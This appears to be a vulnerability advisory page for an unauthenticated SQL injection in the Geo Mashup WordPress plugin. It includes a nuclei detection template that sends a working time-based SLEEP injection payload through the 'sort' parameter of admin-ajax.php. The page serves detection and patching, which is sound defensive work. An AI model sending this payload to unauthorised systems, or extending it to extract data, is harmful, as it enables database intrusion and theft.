Geo Mashup <= 1.13.17 - SQL Injection

highseverity

7.5CVSS score

1.5%likelihood of exploitation, next 30 days

75%of all CVEs are less likely

Readycheck to confirm it

Geo Mashup WordPress plugin <= 1.13.17 contains a SQL injection caused by insufficient escaping of the 'sort' parameter, letting unauthenticated attackers extract sensitive database information remotely.

Impact

Unauthenticated attackers can extract sensitive database information, leading to data disclosure and potential further compromise.

Fix

Update to the latest version beyond 1.13.17.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/geo-mashup/readme.txt
Positive when: status_code == 200 and compare_versions(version, '<= 1.13.17')
Send: @timeout: 30s
Positive when: duration >= 8 and status_code == 200 and contains(body, "objects") and contains(content_type, "application/json")

Run it with nuclei: nuclei -id CVE-2026-2416 -u <target>

The full check

id: CVE-2026-2416

info:
  name: Geo Mashup <= 1.13.17 - SQL Injection
  author: Shivam Kamboj
  severity: high
  description: |
    Geo Mashup WordPress plugin <= 1.13.17 contains a SQL injection caused by insufficient escaping of the 'sort' parameter, letting unauthenticated attackers extract sensitive database information remotely.
  impact: |
    Unauthenticated attackers can extract sensitive database information, leading to data disclosure and potential further compromise.
  remediation:
    Update to the latest version beyond 1.13.17.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/geo-mashup/geo-mashup-11317-unauthenticated-sql-injection-via-sort-parameter
    - https://nvd.nist.gov/vuln/detail/CVE-2026-2416
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-2416
    epss-score: 0.01508
    epss-percentile: 0.74623
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2026,wordpress,wp,wp-plugin,sqli,geo-mashup,unauth

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/geo-mashup/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - compare_versions(version, '<= 1.13.17')
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        name: version
        group: 1
        regex:
          - 'Stable tag: ([0-9.]+)'
        internal: true

  - raw:
      - |
        @timeout: 30s
        GET /wp-admin/admin-ajax.php?action=geo_mashup_query&output=json&sort=(SELECT(0)FROM(SELECT(SLEEP(8)))a) HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 8'
          - 'status_code == 200'
          - 'contains(body, "objects")'
          - 'contains(content_type, "application/json")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from